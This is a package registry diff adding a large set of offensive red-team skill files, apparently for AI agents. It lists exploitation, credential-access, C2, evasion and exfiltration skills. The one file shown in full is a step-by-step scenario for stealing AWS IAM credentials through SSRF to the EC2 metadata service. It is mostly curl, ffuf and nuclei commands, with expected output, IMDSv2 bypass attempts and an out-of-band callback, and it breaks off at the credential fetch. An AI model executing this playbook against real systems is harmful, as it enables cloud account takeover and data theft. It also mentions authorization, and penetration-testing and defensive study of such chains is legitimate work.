rtexit-method 0.1.0 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +9 -7
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/commands/install.js +0 -1
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/banner.js +14 -6
- package/tools/installer/lib/copy-assets.js +5 -2
- package/tools/installer/lib/prompts.js +1 -11
- package/tools/installer/lib/write-config.js +8 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,648 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-scenario-w004
|
|
3
|
+
description: "W-004: SSRF → AWS EC2 Metadata → IAM Credentials → Full Cloud Access. Domain: web. Attack chain: find SSRF parameter → probe 169.254.169.254 → get IAM role credentials → use aws-cli → enumerate entire AWS environment. MITRE: T1190 → T1552.005 → T1078.004. Real example: RevSlider CVE-2022-4703 → http://169.254.169.254/latest/meta-data/iam/ → AWS pivot"
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# W-004: SSRF → AWS EC2 Metadata → IAM Credentials → Full Cloud Access
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
**Attack Objective:** Exploit a Server-Side Request Forgery (SSRF) vulnerability to reach the AWS EC2 Instance Metadata Service (IMDS), retrieve IAM role credentials attached to the instance, and leverage those credentials to enumerate and potentially control the entire AWS environment.
|
|
11
|
+
|
|
12
|
+
**Required Access Level:** None (unauthenticated external attacker)
|
|
13
|
+
|
|
14
|
+
**Estimated Time to Execute:** 30–90 minutes (depending on environment complexity and rate limiting)
|
|
15
|
+
|
|
16
|
+
**Detection Risk Level:** Medium
|
|
17
|
+
- SSRF probing generates unusual outbound metadata requests visible in application logs
|
|
18
|
+
- AWS CloudTrail logs all API calls made with the stolen credentials
|
|
19
|
+
- GuardDuty may alert on credential use from unexpected IP ranges
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## Prerequisites
|
|
24
|
+
|
|
25
|
+
### Required Tools
|
|
26
|
+
|
|
27
|
+
```bash
|
|
28
|
+
# curl (usually pre-installed on Linux/macOS)
|
|
29
|
+
curl --version
|
|
30
|
+
|
|
31
|
+
# AWS CLI v2
|
|
32
|
+
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
|
|
33
|
+
unzip awscliv2.zip
|
|
34
|
+
sudo ./aws/install
|
|
35
|
+
aws --version
|
|
36
|
+
|
|
37
|
+
# ffuf - for SSRF parameter fuzzing
|
|
38
|
+
go install github.com/ffuf/ffuf/v2@latest
|
|
39
|
+
# or
|
|
40
|
+
wget https://github.com/ffuf/ffuf/releases/latest/download/ffuf_2.1.0_linux_amd64.tar.gz
|
|
41
|
+
tar -xzf ffuf_2.1.0_linux_amd64.tar.gz
|
|
42
|
+
|
|
43
|
+
# httpx - for probing
|
|
44
|
+
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
|
|
45
|
+
|
|
46
|
+
# Burp Suite Community/Pro (for intercepting and replaying SSRF requests)
|
|
47
|
+
# Download from https://portswigger.net/burp
|
|
48
|
+
|
|
49
|
+
# Optional: nuclei for automated SSRF template scanning
|
|
50
|
+
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
### Required Access or Conditions
|
|
54
|
+
|
|
55
|
+
- Network access to the target web application
|
|
56
|
+
- Target application must be running on AWS EC2 (or ECS/EKS with IMDS access)
|
|
57
|
+
- Target instance must have an IAM role attached (very common in cloud deployments)
|
|
58
|
+
- IMDSv1 must be enabled on the target instance (IMDSv2 requires session tokens — see fallback steps)
|
|
59
|
+
- Authorization: written permission from asset owner (bug bounty scope or penetration test agreement)
|
|
60
|
+
|
|
61
|
+
### Skill Level
|
|
62
|
+
|
|
63
|
+
**INTERMEDIATE** — Requires understanding of HTTP request mechanics, SSRF concepts, and basic AWS CLI usage.
|
|
64
|
+
|
|
65
|
+
---
|
|
66
|
+
|
|
67
|
+
## Attack Chain
|
|
68
|
+
|
|
69
|
+
```
|
|
70
|
+
[External Attacker]
|
|
71
|
+
|
|
|
72
|
+
v
|
|
73
|
+
[1] Discover SSRF Parameter
|
|
74
|
+
T1190 - Exploit Public-Facing Application
|
|
75
|
+
|
|
|
76
|
+
v
|
|
77
|
+
[2] Probe AWS EC2 Metadata Endpoint
|
|
78
|
+
169.254.169.254 → enumerate IAM roles
|
|
79
|
+
T1552.005 - Cloud Instance Metadata API
|
|
80
|
+
|
|
|
81
|
+
v
|
|
82
|
+
[3] Retrieve IAM Role Temporary Credentials
|
|
83
|
+
AccessKeyId + SecretAccessKey + SessionToken
|
|
84
|
+
T1552.005 - Cloud Instance Metadata API
|
|
85
|
+
|
|
|
86
|
+
v
|
|
87
|
+
[4] Configure AWS CLI with Stolen Credentials
|
|
88
|
+
T1078.004 - Valid Accounts: Cloud Accounts
|
|
89
|
+
|
|
|
90
|
+
v
|
|
91
|
+
[5] Enumerate AWS Environment
|
|
92
|
+
IAM, S3, EC2, RDS, Secrets Manager, Lambda...
|
|
93
|
+
T1078.004 + T1580 - Cloud Infrastructure Discovery
|
|
94
|
+
|
|
|
95
|
+
v
|
|
96
|
+
[6] Identify High-Value Targets / Escalate Privileges
|
|
97
|
+
Lateral movement, data exfiltration, persistence
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
**MITRE ATT&CK Chain:** T1190 → T1552.005 → T1078.004
|
|
101
|
+
|
|
102
|
+
---
|
|
103
|
+
|
|
104
|
+
## Step-by-Step Execution
|
|
105
|
+
|
|
106
|
+
### Step 1: Reconnaissance — Identify Potential SSRF Parameters
|
|
107
|
+
|
|
108
|
+
**Objective:** Find application parameters that accept URLs or IP addresses and trigger server-side HTTP requests.
|
|
109
|
+
|
|
110
|
+
```bash
|
|
111
|
+
# 1a. Manual inspection — look for parameters like:
|
|
112
|
+
# ?url=, ?file=, ?path=, ?redirect=, ?fetch=, ?load=, ?img=, ?src=, ?link=, ?uri=
|
|
113
|
+
|
|
114
|
+
# 1b. Use ffuf to fuzz common SSRF parameter names
|
|
115
|
+
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
|
|
116
|
+
-u "https://target.example.com/api/fetch?FUZZ=http://127.0.0.1/" \
|
|
117
|
+
-mc 200,301,302,500 \
|
|
118
|
+
-fs 0
|
|
119
|
+
|
|
120
|
+
# 1c. Use nuclei SSRF templates
|
|
121
|
+
nuclei -u https://target.example.com -t nuclei-templates/vulnerabilities/generic/ssrf-via-url-params.yaml
|
|
122
|
+
|
|
123
|
+
# 1d. Use Burp Suite — enable passive scan, then browse application
|
|
124
|
+
# Look for requests that accept URLs, then test in Repeater
|
|
125
|
+
|
|
126
|
+
# 1e. JavaScript / API endpoint discovery
|
|
127
|
+
curl -s https://target.example.com/js/app.js | grep -Eo '"[^"]*url[^"]*"' | head -20
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
**Expected Output (ffuf):**
|
|
131
|
+
```
|
|
132
|
+
[Status: 200, Size: 1234, Words: 45, Lines: 12]
|
|
133
|
+
* FUZZ: imageUrl
|
|
134
|
+
[Status: 200, Size: 987, Words: 32, Lines: 8]
|
|
135
|
+
* FUZZ: src
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
**Fallback:** If parameter fuzzing yields nothing, check:
|
|
139
|
+
- POST body parameters (use `-X POST -d 'FUZZ=http://127.0.0.1/'`)
|
|
140
|
+
- XML/JSON body parameters in API calls
|
|
141
|
+
- File upload features that accept remote URLs
|
|
142
|
+
- PDF generation endpoints (`?template=http://...`)
|
|
143
|
+
- Webhook configuration fields in the application UI
|
|
144
|
+
|
|
145
|
+
---
|
|
146
|
+
|
|
147
|
+
### Step 2: Confirm SSRF — Probe with Out-of-Band Callback
|
|
148
|
+
|
|
149
|
+
**Objective:** Confirm the SSRF is real before probing internal services.
|
|
150
|
+
|
|
151
|
+
```bash
|
|
152
|
+
# 2a. Use Burp Collaborator or interactsh for OOB confirmation
|
|
153
|
+
# Start interactsh listener:
|
|
154
|
+
interactsh-client
|
|
155
|
+
|
|
156
|
+
# Your OOB host will be something like: abcd1234.oast.fun
|
|
157
|
+
|
|
158
|
+
# 2b. Send the SSRF probe
|
|
159
|
+
curl -s "https://target.example.com/api/fetch?url=http://abcd1234.oast.fun/ssrf-test"
|
|
160
|
+
|
|
161
|
+
# 2c. Check interactsh for incoming DNS/HTTP request
|
|
162
|
+
# Expected: DNS lookup + HTTP GET from target server IP
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
**Expected Output:**
|
|
166
|
+
```
|
|
167
|
+
[abcd1234.oast.fun] Received HTTP interaction from 1.2.3.4 (target server IP)
|
|
168
|
+
GET /ssrf-test HTTP/1.1
|
|
169
|
+
Host: abcd1234.oast.fun
|
|
170
|
+
User-Agent: python-requests/2.28.0
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
**Fallback:** If OOB not available, try time-based detection:
|
|
174
|
+
```bash
|
|
175
|
+
# Compare response times — internal services respond faster
|
|
176
|
+
time curl -s "https://target.example.com/api/fetch?url=http://127.0.0.1:80/"
|
|
177
|
+
time curl -s "https://target.example.com/api/fetch?url=http://127.0.0.1:9999/"
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
---
|
|
181
|
+
|
|
182
|
+
### Step 3: Probe AWS EC2 Instance Metadata Service (IMDSv1)
|
|
183
|
+
|
|
184
|
+
**Objective:** Reach the link-local metadata endpoint to enumerate the instance and IAM roles.
|
|
185
|
+
|
|
186
|
+
```bash
|
|
187
|
+
# 3a. Probe the metadata root
|
|
188
|
+
curl -s "https://target.example.com/api/fetch?url=http://169.254.169.254/latest/meta-data/"
|
|
189
|
+
|
|
190
|
+
# Expected response (reflected in app response body):
|
|
191
|
+
# ami-id
|
|
192
|
+
# ami-launch-index
|
|
193
|
+
# ami-manifest-path
|
|
194
|
+
# block-device-mapping/
|
|
195
|
+
# hostname
|
|
196
|
+
# iam/
|
|
197
|
+
# instance-action
|
|
198
|
+
# instance-id
|
|
199
|
+
# instance-type
|
|
200
|
+
# local-hostname
|
|
201
|
+
# local-ipv4
|
|
202
|
+
# mac
|
|
203
|
+
# network/
|
|
204
|
+
# placement/
|
|
205
|
+
# profile
|
|
206
|
+
# public-hostname
|
|
207
|
+
# public-ipv4
|
|
208
|
+
# reservation-id
|
|
209
|
+
# security-groups
|
|
210
|
+
|
|
211
|
+
# 3b. Get the instance ID and region (useful for later)
|
|
212
|
+
curl -s "https://target.example.com/api/fetch?url=http://169.254.169.254/latest/meta-data/instance-id"
|
|
213
|
+
# Expected: i-0a1b2c3d4e5f67890
|
|
214
|
+
|
|
215
|
+
curl -s "https://target.example.com/api/fetch?url=http://169.254.169.254/latest/meta-data/placement/region"
|
|
216
|
+
# Expected: us-east-1
|
|
217
|
+
|
|
218
|
+
# 3c. Enumerate IAM roles attached to instance
|
|
219
|
+
curl -s "https://target.example.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
|
220
|
+
# Expected: ProductionWebServerRole
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
**Expected Output:**
|
|
224
|
+
```
|
|
225
|
+
ProductionWebServerRole
|
|
226
|
+
```
|
|
227
|
+
|
|
228
|
+
**Fallback — IMDSv2 (Session Token Required):**
|
|
229
|
+
```bash
|
|
230
|
+
# If IMDSv1 returns 401 or empty, the instance uses IMDSv2
|
|
231
|
+
# IMDSv2 requires a PUT request to get a session token first
|
|
232
|
+
# Most SSRF vulnerabilities cannot perform PUT requests easily
|
|
233
|
+
# Try these workarounds:
|
|
234
|
+
|
|
235
|
+
# Option A: Check if app supports custom HTTP methods via SSRF
|
|
236
|
+
curl -s "https://target.example.com/api/fetch?url=http://169.254.169.254/latest/api/token" \
|
|
237
|
+
-H "X-Method-Override: PUT" \
|
|
238
|
+
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
|
|
239
|
+
|
|
240
|
+
# Option B: Look for open redirect on the target to chain with SSRF
|
|
241
|
+
# Option C: If the app uses a URL-fetching library (like python requests),
|
|
242
|
+
# it may follow redirects — try redirecting to metadata from your OOB server
|
|
243
|
+
|
|
244
|
+
# Option D: Check for ECS task metadata (different endpoint, no IMDSv2)
|
|
245
|
+
curl -s "https://target.example.com/api/fetch?url=http://169.254.170.2/v2/credentials/TASK_ROLE_ID"
|
|
246
|
+
# ECS_CONTAINER_METADATA_URI_V4 endpoint varies — get from environment
|
|
247
|
+
```
|
|
248
|
+
|
|
249
|
+
---
|
|
250
|
+
|
|
251
|
+
### Step 4: Retrieve IAM Role Temporary Credentials
|
|
252
|
+
|
|
253
|
+
**Objective:** Fetch the actual AWS credentials (AccessKeyId, SecretAccessKey, SessionToken).
|
|
254
|
+
|
|
255
|
+
```bash
|
|
256
|
+
# 4a. Replace ROLE_NAME with the role found in Step 3c
|
|
257
|
+
ROLE_NAME="ProductionWebServerRole"
|
|
258
|
+
|
|
259
|
+
curl -s "https://target.example.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/${ROLE_NAME}"
|
